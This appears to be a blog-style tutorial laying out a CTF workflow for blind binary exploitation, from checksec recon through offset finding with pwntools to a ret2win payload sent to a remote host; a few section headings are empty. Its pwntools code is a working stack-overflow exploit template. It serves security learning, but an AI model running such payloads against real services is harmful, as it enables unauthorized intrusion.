M4cCrypt0
back to overview

Workflow: finding a binary exploit blind (from zero to shell)

Starting point: you have a binary (and/or an IP:port), no other context. This order takes you systematically from recon to shell.

1. Recon — what kind of binary is this?

bash
file ./<binary>          # 32/64-bit, dynamic/static, stripped?
checksec --file=./<binary>   # NX, canary, PIE, RELRO, CET (SHSTK/IBT)

The checksec output determines your whole strategy:

Finding Meaning for your approach
NX disabled / RWX / executable stack Shellcode injection is possible
NX enabled No shellcode on the stack; think ret2win / ROP
Canary found You need a leak first, or the overflow hits the canary → crash
PIE enabled Addresses shift per run → you need an address leak
No PIE Addresses are fixed → hardcoding is fine
SHSTK / IBT CET active → watch alignment and indirect-call restrictions

2. Find the vulnerability + interesting functions

bash
nm ./<binary> | grep -iE "win|flag|system|shell|admin|secret"
objdump -d ./<binary> -M att | less

Questions you answer from the disassembly:

3. Choose your exploit strategy based on steps 1+2

4. Determine the exact offset

Two ways, preferably use both as a check:

a) From the disassembly (deterministic):

text
buf at rbp-0x100  →  0x100 + 0x8 (saved rbp)  =  264 bytes to the return address

b) With a cyclic pattern (empirical):

python
from pwn import *
p = process('./<binary>')
p.sendline(cyclic(300))
p.wait()
core = p.corefile
offset = cyclic_find(core.read(core.rsp, 8))   # or core.pc on a direct rip overwrite
print(offset)

5. Build and test the payload — always locally first

python
from pwn import *
context.arch = 'amd64'
context.os = 'linux'

payload = b'A'*offset + p64(win_addr)

p = process('./<binary>')     # LOCALLY first
p.sendline(payload)
p.interactive()

Doesn't work locally → debug locally (see the crash-diagnosis workflow: exit code, dmesg, alignment). Don't guess against remote.

6. Common blockers and their fix

7. Apply it against remote

python
p = remote('<target-ip>', <port>)
p.recvuntil(b'<prompt-text>')
p.send(payload)
p.interactive()

Once you have a shell:

text
cat flag.txt || find / -name "flag*" 2>/dev/null

Core: checksec first — that output immediately prunes 80% of the possible approaches and points you in a direction. Then: disassembly for the real buffer size, determine the offset deterministically, prove it locally, and only then go remote.